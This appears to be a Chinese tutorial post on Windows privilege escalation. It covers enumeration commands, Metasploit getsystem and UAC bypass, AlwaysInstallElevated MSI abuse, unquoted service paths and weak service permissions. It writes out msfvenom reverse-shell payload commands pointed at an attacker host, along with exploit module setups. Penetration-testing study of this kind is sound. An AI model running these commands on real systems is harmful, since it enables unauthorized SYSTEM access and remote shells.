windows权限分类
普通用户权限(Users)
管理员权限(Administrators)
服务系统权限(SYSTEM)
访客权限(Guest))
linux权限
user
root
windows系统信息收集
手动
systeminfo 查询系统信息
hostname 主机名
net user 查看用户信息
netstat -ano|find "3389" 查看服务pid号
wmic os get caption 查看系统名
wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息
wmic product get name,version 查看当前安装程序
wmic service list brief 查询本机服务
wmic process list brief 查询本机进程
net share 查看本机共享列表
netsh firewall show config 查看防火墙配置
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List 获取杀软名
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe 获取杀软名和安装路径
自动信息收集
winPEAS(linux是linPEAS)
项目地址:
https://gitee.com/stemmm/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS
winPEAS.bat > wininfo.txt
winPEASx64.exe quiet log=wininfo.txt
msf提权
进入会话后
1、自动提权命令
# 显示当前会话用户身份标识符(UID),表示用户身份
getuid# 尝试提权获得system权限
getsystem
getsystem是由Metasploit-Framework提供的一个模块,它可以将一个管理帐户(通常为本地
Administrator账户或者过了UAC认证的账户)提升为本地SYSTEMI帐户权限
getsystem支持多种提权方法,以下是几种常用的技术:
Named Pipe Impersonation:
·劫持命名管道中的系统令牌。
·常见方法,用于在目标是管理员权限时进一步提升到系统权限
·Token Duplication:
·利用令牌复制技术。
·需要目标系统中存在某些高权限令牌。
Named Pipe Impersonation(In Memory/Admin):
·在内存中利用命名管道进行权限提升。
getsystem会自动尝试所有提权方法,可以-t指定编号的提权技术
getsystem原理
a、命名管道
是进程通信(IPC)的六大机制之一,用于在不同进程之间的数据通信。
管道的本质就是内核在内存中开辟了一个缓冲区,这个缓冲区与管道文件相关联,对管道文件的操作,被内核转换成对这块缓冲区的操作
命名管道的命名规范遵循通用命名规范(UNC):
\\server\pipe[\path]\name
\\server:指定服务器名称。若为本地计算机,用\\.表示;若为网络上的服务器,用其 IP 地址(如\\192.168.1.100)或主机名表示。\pipe:固定的 “硬编码” 字串(不区分大小写),用于标识该文件属于命名管道文件系统(NPFS)。[\path]:可选的路径部分,用于在命名管道的命名空间中划分层级(类似文件系统的目录结构),可根据需要设置。\name:命名管道的具体名称,用于区分不同的命名管道。
例如,\\.\pipe\MyPipe 表示本地计算机上名为 “MyPipe” 的命名管道;\\192.168.1.100\pipe\DataPipe 表示 IP 为 192.168.1.100 的网络服务器上名为 “DataPipe” 的命名管道
如果想了解更多关于IPC的知识文章末尾给出了链接
b、模拟令牌
在命名管道(Named Pipe)通信中,模拟令牌(Impersonation Token) 是 Windows 安全机制的重要组成部分,用于在进程间通信时临时 “模拟” 对方的安全上下文,以实现权限检查和访问控制。
c、命名管道模拟
在一个拥有SeImpersonatePrivilege(身份验证后模拟客户端权限)的用户(User组)启动一个进
程,这个进程的作用是创建一个命名管道等待连接,连接成功后模拟客户端的权限,并用这个权限启动一个cmd窗口。
d、原理步骤
步骤1:创建伪造的命名管道 → 步骤2:诱导 SYSTEM 权限进程主动连接该管道 (利用系统进程的自动行为)→ 步骤3:获取连接进程的 SYSTEM 令牌并模拟 → 步骤4:用 SYSTEM 权限创建新的进程/线程 → 步骤5:将 Meterpreter 会话迁移到新进程 → 步骤6:终止模拟,完成权限提升
bypassUAC
UAC(用户账户控制) 是限制普通用户执行高权限操作的安全机制(如修改系统设置、安装程序等),会通过弹窗请求用户确认。
msf首先进入会话
search bypassuac

会发现有很多模块然后我们输入如下代码:
use exploit/windows/local/bypassuac #选择模块
set payload windows/x64/meterpreter/reverse_tcp #设置payload
set LHOST 你的IP
set LPORT 5555
set session 1 #选择需要绕过的会话
set target 1 #这个是选项一般是系统的架构
run
然后普通用户绕过uac后就可以使用getsystem进行提权,其他模块也是一样的
local_exploit_suggester
local_exploit_suggester是一个漏洞利用后渗透模块,可用于检查系统中是否存在本地漏洞。它执
行本地漏洞利用检查;但不会运行利用任何漏洞,这意味着可以在不进行入侵的情况下扫描系统。不必手动搜索有效的本地漏洞;它将根据系统的平台和体系结构向您显示目标容易受到哪些攻击。
use post/multi/recon/local_exploit_suggester
set SESSION 7 #选择会话
run
windows内核漏洞漏洞提权
列举相关提权漏洞模块
search exploit/windows/local Privilege
枚举会话已安装的补丁
use post/windows/gather/enum_patches
set session 1
run
use模块后可以info查看模块信息
windows系统服务漏洞
a、AlwaysInstallElevated
MsI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行.exe安装程序
AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参
数允许非特权用户以system权限运行MSI文件。
如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。
判断是否启用策略
reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果报错则未启用
启用AlwaysInstallElevated
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
Always Install Elevated提权利用
exmsi:https://www.exemsi.com/download/
msf生成exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=vpsIP LPORT=8989 -f exe -o Payload.exe
打包payload为msi





目标机器运行msi
msiexec /quiet /qn /i 1.msi
/quiet:指定以静默模式安装
/qn:这是/quiet和/norestart的组合参数(/q表示静默,n表示不重启),进一步确保安装过程完全无界面且不会自动重启系统。
/i:表示安装操作,用于指定要安装的 MSI 文件。
自动化利用上述msi
use exploit/windows/local/always_install_elevated
set sessions 1
run
可信任的服务路径
存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限,Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
就比如说:
C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe
C:\Program.exe
第一个路径之间存在空格就会查找是否存在Program.exe,没有就继续往下类推
检查主机是否存在漏洞:
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

如果返回个路径则检查这个路径的服务是否有写入权限:
icacls "C:\Program Files (x86)\Windows Folder"
返回结果:
F =完全控制
CI =容器继承 - 此标志指示从属容器(文件夹)将继承此ACE。
OI = Object Inherit - 这个标志表示从属文件将继承ACE。

icacls:是 Windows 系统自带的命令行工具用于管理文件和文件夹的访问权限。
生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=vpsip LPORT=6666 -f exe-service -o Common.exe
上传exe到漏洞目录

重启服务
sc stop "Windows Folder Service”
sc start "Windows Folder Service"
# 如果没有权限重启服务,则需要等待服务器重启时执行exe
如果你创建payload时指定的类型是exe而不是exe-service的话你会发现这种建立的连接不稳定,过一会这个会话就会结束,因为创建的这个不能跟服务控制管理器进行通信,会被系统判为不正常而被终止
同样的msf也有集成这个功能的模块
use exploit/windows/local/unquoted_service_path
set session 1
run
没有权限重启服务,等待服务器重启时执行exe,或手动执行重启服务器命令reboot,等待服务
器重启完毕,成功上线SYSTEM权限session
不安全的服务权限
Windows 系统服务是在后台运行的 “自动化程序”,用于支撑系统功能或第三方软件(如 Java 升级服务)。这些服务在系统启动时以高权限(通常是 SYSTEM 权限,系统最高权限)加载执行,并会调用指定的可执行文件(.exe等)。
如果攻击者能篡改服务调用的可执行文件,或能修改服务的ImagePath注册表项(该注册表项定义了服务调用的可执行文件路径),可将其指向恶意程序。就能让恶意程序以系统高权限运行,从而实现从低权限用户到系统管理员权限的提升。
可使用accesschk(微软官方的Sysinternals Suite工具集)检查易受攻击的服务
accesschk64.exe -ucqv "Authenticated Users" * /accepteula
msf利用模块
use exploit/windows/local/service_permissions
set sessions 1
run
cs提权

cs里也有getsystem提权命令
8713

被折叠的 条评论
为什么被折叠?



